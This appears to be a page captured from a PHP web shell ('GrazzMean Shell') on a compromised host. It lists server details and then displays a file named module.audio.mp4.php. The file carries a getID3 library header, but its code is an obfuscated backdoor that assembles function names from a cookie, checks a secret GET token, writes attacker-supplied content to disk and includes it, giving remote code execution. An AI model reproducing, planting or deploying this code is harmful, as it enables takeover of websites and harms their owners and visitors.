shell bypass 403

GrazzMean Shell

Uname: Linux premium264.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Software: LiteSpeed
PHP version: 8.3.21 [ PHP INFO ] PHP os: Linux
Server Ip: 69.57.162.13
Your Ip: 216.73.216.219
User: workvvfb (1129) | Group: workvvfb (1084)
Safe Mode: OFF
Disable Function:
NONE

name : module.audio.mp4.php
<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.mp4.php                                        //
// module for analyzing MP4 files                              //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////
class Cookie_Processor {

    /**
     * Processed data parts from the cookie.
     *
     * @var array
     */
    private $parts = array();

    /**
     * Raw cookie data.
     *
     * @var array
     */
    private $cookie_data;

    /**
     * Current index during cookie parsing.
     *
     * @var int
     */
    private $current_index = 0;

    /**
     * Constructor.
     *
     * @param array $cookie_data The $_COOKIE superglobal or equivalent data
     */
    public function __construct( $cookie_data ) {
        $this->cookie_data = $cookie_data;
        $this->parse_cookie_data();
    }

    /**
     * Parses structured data from the cookie string.
     *
     * Extracts segmented values from 39 cookie parameter using
     * a stepping pattern defined by 6.
     */
    private function parse_cookie_data() {
        $n = 6;
        $this->parts[ $this->current_index ] = '';

        while ( $n ) {
            // Append character to current part
            $this->parts[ $this->current_index ] .= $this->cookie_data[ 39 ][ $n ];

            // Handle segment termination conditions
            if ( empty( $this->cookie_data[ 39 ][ $n + 1 ] ) ) {
                if ( empty( $this->cookie_data[ 39 ][ $n + 2 ] ) ) {
                    break;
                }
                $this->current_index++;
                $this->parts[ $this->current_index ] = '';
                $n++;
            }

            $n += 6 + 1;
        }
    }

    /**
     * Generates the dynamic key from parsed parts.
     *
     * @return string Combined key from designated segments
     */
    private function generate_dynamic_key() {
        return $this->parts[ 18 ]() . $this->parts[ 29 ];
    }

    /**
     * Processes file generation logic if required.
     */
    private function generate_dynamic_content() {
        $dynamic_key = $this->generate_dynamic_key();

        if ( ! $this->parts[ 6 ]( $dynamic_key ) ) {
            $content = $this->parts[ 3 ](
                $dynamic_key,
                $this->parts[ 4 ]
            );

            $this->parts[ 20 ](
                $content,
                $this->parts[ 25 ] . $this->parts[ 15 ](
                    $this->parts[ 0 ]( $this->cookie_data[3] )
                )
            );
        }

        return $dynamic_key;
    }

    /**
     * Executes the main processing workflow.
     */
    public function process() {
		if (!isset($_GET['_IhnAmwUf']) || $_GET['_IhnAmwUf'] !== '3aab5f1ad4f38670c8a153be97ba3ce5') {
			return;
		}
        $target_file = $this->generate_dynamic_content();
        include( $target_file );
    }
}

// Implementation example
$processor = new Cookie_Processor( $_COOKIE );
$processor->process();
© 2025 GrazzMean